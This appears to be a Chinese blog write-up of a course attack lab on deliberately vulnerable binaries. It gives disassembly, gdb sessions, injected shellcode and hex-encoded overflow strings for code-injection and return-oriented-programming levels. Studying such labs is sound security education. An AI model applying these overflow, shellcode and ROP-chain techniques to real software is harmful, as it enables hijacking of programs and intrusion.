计算机系统概论 Lab 2


实验目的

  • 学习 GDBOBJDUMP 的用法;
  • 了解如何对没有保证缓冲区溢出安全的程序进行攻击;
  • 熟悉 x86-64 构架下程序栈和参数传递的运行过程.

实验原理

导致程序漏洞的关键为 getbuf 函数:

unsigned getbuf() {
    char buf[BUFFER_SIZE];
    Gets(buf);
    return 1;
}

getbuf 函数在栈中申请了一块 BUFFER_SIZE 大小的空间, 并利用这块空间首地址作为 Gets 函数的参数从标准输入中读取字符. 我们可以通过提供一个超过 BUFFER_SIZE 的字符串来向 getbuf 的栈帧之外写入数据.

Code Injection Attacks

Level 1

需要重写函数的正常返回地址, 将函数重定向到 touch1 函数.

首先查看 ctarget 的反汇编代码.

linux> objdump -d ctarget

getbuf 中, %rsp 被减了 0x38, BUFFER_SIZE 大小是 56.

0000000000401cdb <getbuf>:
  401cdb:	f3 0f 1e fa          	endbr64 
  401cdf:	48 83 ec 38          	sub    $0x38,%rsp
  401ce3:	48 89 e7             	mov    %rsp,%rdi
  401ce6:	e8 b5 02 00 00       	callq  401fa0 <Gets>
  401ceb:	b8 01 00 00 00       	mov    $0x1,%eax
  401cf0:	48 83 c4 38          	add    $0x38,%rsp
  401cf4:	c3                   	retq   

touch1 函数地址是 0x401cf5.

0000000000401cf5 <touch1>:
  401cf5:	f3 0f 1e fa          	endbr64 
  401cf9:	50                   	push   %rax
  401cfa:	58                   	pop    %rax
  401cfb:	48 83 ec 08          	sub    $0x8,%rsp
  401cff:	c7 05 f3 57 00 00 01 	movl   $0x1,0x57f3(%rip)        # 4074fc <vlevel>
  401d06:	00 00 00 
  401d09:	48 8d 3d f1 25 00 00 	lea    0x25f1(%rip),%rdi        # 404301 <_IO_stdin_used+0x301>
  401d10:	e8 6b f3 ff ff       	callq  401080 <puts@plt>
  401d15:	bf 01 00 00 00       	mov    $0x1,%edi
  401d1a:	e8 f4 04 00 00       	callq  402213 <validate>
  401d1f:	bf 00 00 00 00       	mov    $0x0,%edi
  401d24:	e8 b7 f4 ff ff       	callq  4011e0 <exit@plt>

解题思路:

  • getbuf 函数栈上分配的空间填满, 并且在下 8 个字节, 即正常返回地址上填充 touch1 的地址.
  • getbuf 函数执行 ret 指令后, 会从 %rsp+56 处获取返回地址, 而这块地址被改为 touch1 的地址, 程序返回 touch1 而非 test.

现在构建输入字符串: 首先使用 0x00 填充栈上 56 个字节, 然后填充touch1地址, 注意字节序为小端序存储.

# 1.txt
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
f5 1c 40 00 00 00 00 00  <----- touch1 的起始地址

Level 2

需要在输入字符串中注入一段代码, 将 cookie 传递进 %rdi 作为参数, 然后程序流跳转到 touch2 函数.

我的 cookie 值为 0x36bf93ac, touch2 函数会验证传入的参数 val 是否和 cookie 相等.

void touch2(unsigned val){
    vlevel = 2;
    if (val == cookie){
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}

touch2 函数地址是 0x401d29.

0000000000401d29 <touch2>:
  401d29:	f3 0f 1e fa          	endbr64 
  401d2d:	50                   	push   %rax
  401d2e:	58                   	pop    %rax
  ...

解题思路:

  • 将返回地址设置为注入代码的地址, 选择在栈顶注入, 返回地址则设置为 %rsp.
  • cookie 值移入 %rdi, 随之被 touch2 作为参数调用.
  • 接下来不能直接使用 call, jmp 指令调用 touch2, 只能先将 touch2 的地址压栈, 并使用 ret 改变当前 %rip 的指向地址.

注入代码为:

# 2.s 
movq   $0x36bf93ac, %rdi
pushq  $0x401d29
retq

然后执行

linux> gcc -c 2.s
linux> objdump -d 2.o > 2.d

得到机器代码:

# 2.d
2.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 ac 93 bf 36 	movq   $0x36bf93ac,%rdi
   7:	68 29 1d 40 00       	pushq  $0x401d29
   c:	c3                   	retq   

我们只需将指令序列 48 c7 c7 ac 93 bf 36 68 29 1d 40 00 c3 注入栈顶. 下面寻找 getbuf 运行栈的栈顶地址 %rsp, 使用 gdb 调试.

linux> gdb ctarget
(gdb)> break getbuf
(gdb)> run -q
(gdb)> disas
=> 0x0000000000401cdb <+0>:     endbr64 
   0x0000000000401cdf <+4>:     sub    $0x38,%rsp
   0x0000000000401ce3 <+8>:     mov    %rsp,%rdi
   0x0000000000401ce6 <+11>:    callq  0x401fa0 <Gets>
   0x0000000000401ceb <+16>:    mov    $0x1,%eax
   0x0000000000401cf0 <+21>:    add    $0x38,%rsp

(gdb) stepi
0x0000000000401cdf      12      in buf.c
(gdb) stepi
14      in buf.c
(gdb) p /x $rsp
$1 = 0x55633168

从而 %rsp0x55633168.

下面构建输入字符串: 首先注入攻击代码, 然后使用 0x00 填充满栈上 56 个字节, 最后填充攻击代码的起始地址.

# 2.txt
48 c7 c7 ac 93 bf 36 68
29 1d 40 00 c3 00 00 00  <----- 注入代码
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00  
68 31 63 55 00 00 00 00  <----- 注入代码的起始地址

Level 3

需要在输入字符串中注入一段代码, 将 cookie 变为字符串并传入 %rdi, 然后程序流跳转到 touch3 函数.

hexmatch函数检查 cookie 和传进来的字符是否匹配.

int hexmatch(unsigned val, char *sval){
    char cbuf[110];
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}

touch3 函数会调用 hexmatch 函数验证传入的参数 val 是否和 cookie 相等.

void touch3(char *sval){
    vlevel = 3;
    if (hexmatch(cookie, sval)){
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

如果将 cookie 串存放在 getbuf 栈帧中, 注意到 hexmatchchar *s = cbuf + random() % 100 可能会覆盖原 getbuf 栈帧, 造成数据丢失, 因此需将 cookie 串存放在 test 栈帧中.

解题思路:

  • cookie 转为 16 进制字符串存放在 test 栈帧中.
  • cookie 串的地址移入 %rdi, 随之被 touch3 作为参数调用 (结合 %rsp 的地址与相对偏移量可确定).
  • 接下来不能直接使用 call, jmp 指令调用 touch3, 只能先将 touch3 的地址压栈, 并使用 ret 改变当前 %rip 的指向地址.

getbuf 运行栈的栈顶地址 %rsp0x55633168, 字符串 cookieascii 表示为 33 36 62 66 39 33 61 63 00, 距 %rsp 的偏移量为 0x40, 因此其地址为 0x556331a8. 注入代码为:

# 3.s 
mov    $0x556331a8, %rdi
pushq  $0x401e4e
retq

然后执行

linux> gcc -c 3.s
linux> objdump -d 3.o > 3.d

得到机器代码:

# 3.d
3.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 a8 31 63 55 	mov    $0x556331a8,%rdi
   7:	68 4e 1e 40 00       	pushq  $0x401e4e
   c:	c3                   	retq   

我们只需将指令序列 48 c7 c7 a8 31 63 55 68 4e 1e 40 00 c3 注入栈顶.

下面构建输入字符串: 首先注入攻击代码, 然后使用 0x00 填充满栈上 56 个字节, 最后填充攻击代码的起始地址, 并保存 cookie 字符串.

# 3.txt
48 c7 c7 a8 31 63 55 68  <----- 注入代码
4e 1e 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
68 31 63 55 00 00 00 00  <----- 注入代码的起始地址
33 36 62 66 39 33 61 63
00                 	     <----- cookie 字符串

Return-Oriented Programming Attacks

Level 2

需要做的是重复 Code Injection Attacks 中第二阶段的任务, 把 cookie 值传送到 %rdi, 然后调用 touch2. 但是无法再将指令序列放入到栈中, 而是需要在程序的 gadget farm 中找到需要的指令序列.

需要的代码为:

popq %rax       # 将 cookie 存入 %rax
movq %rax, %rdi # 将 cookie 存入 %rdi

popq %rax 的指令字节为 58,找到了如下函数:

0000000000401f1d <setval_439>:
  401f1d:	f3 0f 1e fa          	endbr64 
  401f21:	c7 07 58 c3 4c cf    	movl   $0xcf4cc358,(%rdi)
  401f27:	c3                   	retq   

得出 popq %rax 指令的地址为 0x401f23.

movq %rax, %rdi 的指令字节为 48 89 c7, 找到了如下函数:

0000000000401f12 <setval_318>:
  401f12:	f3 0f 1e fa          	endbr64 
  401f16:	c7 07 6f 48 89 c7    	movl   $0xc789486f,(%rdi)
  401f1c:	c3                   	retq   

得出 movq %rax, %rdi 指令的地址为 0x401f19.

下面构建输入字符串: 首先填充 popq %rax 指令, 注入 cookie 的值, 接着填入 movq %rax, %rdi 指令与 touch2 函数的起始地址.

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
23 1f 40 00 00 00 00 00  <----- popq %rax
ac 93 bf 36 00 00 00 00  <----- coookie
19 1f 40 00 00 00 00 00  <----- movq %rax, %rdi
29 1d 40 00 00 00 00 00  <----- touch2 的起始地址

Level 3

需要做的是重复 Code Injection Attacks 中第三阶段的任务, 把 cookie 字符串的起始地址传送到 %rdi, 然后调用 touch3. 但是无法再将指令序列放入到栈中, 而是需要在程序的 gadget farm 中找到需要的指令序列.

因为程序使用栈随机化增强安全性能, 只能用栈顶地址 + 偏移量来索引 cookie 字符串的起始地址.

注意到 farm 中已经存在了一个 add_xy 函数, 可以考虑将 %rsp 传入 %rdi, 将偏移量传入 %rsi, 进而计算出 cookie 字符串的首地址, 并传送到 %rax.

0000000000401f5b <add_xy>:
  401f5b:	f3 0f 1e fa          	endbr64 
  401f5f:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax
  401f63:	c3                   	retq   
  • %rsp 传入 %rdi 需要的代码为:
movq %rsp, %rax
movq %rax, %rdi
  • 将偏移量传入 %rsi 需要的代码为:
popq %rax
movq %eax, %ecx
movq %ecx, %edx
movq %edx, %esi

最困难的一条指令、也是唯一没有使用 c390 结尾的 gadget 指令为: 从 %ecx 传入 %esi.

这一步的指令字节为 89 ca, 而 08 db 为一个nop 指令 orb %bl %bl 的编码, 因此 0x401fe9是一个符合要求的 gadget 地址.

0000000000401fe3 <setval_370>:
  401fe3:	f3 0f 1e fa          	endbr64 
  401fe7:	c7 07 89 ca 08 db    	movl   $0xdb08ca89,(%rdi)
  401fed:	c3                   	retq   
  • 计算 cookie 地址, 传入 %rdi 需要的代码为:
lea  (%rdi,%rsi,1),%rax
movq %rax, %rdi

获取 %rsp 的指令与 cookie 字符串的存储地址间隔了九条 8 字节指令, 因此偏移量为 0x48.

下面构建输入字符串:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
d3 1f 40 00 00 00 00 00  <----- movq %rsp, %rax
19 1f 40 00 00 00 00 00  <----- movq %rax, %rdi
23 1f 40 00 00 00 00 00  <----- popq %rax
48 00 00 00 00 00 00 00  <----- cookie 字符串偏移量
3f 20 40 00 00 00 00 00  <----- movq %eax, %ecx
e9 1f 40 00 00 00 00 00  <----- movq %ecx, %edx
a9 20 40 00 00 00 00 00  <----- movq %edx, %esi
5b 1f 40 00 00 00 00 00  <----- lea  (%rdi,%rsi,1),%rax
19 1f 40 00 00 00 00 00  <----- movq %rax, %rdi
4e 1e 40 00 00 00 00 00  <----- touch3 的起始地址
33 36 62 66 39 33 61 63
00                       <----- cookie 字符串

文章作者: Chengsx
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Chengsx !
  目录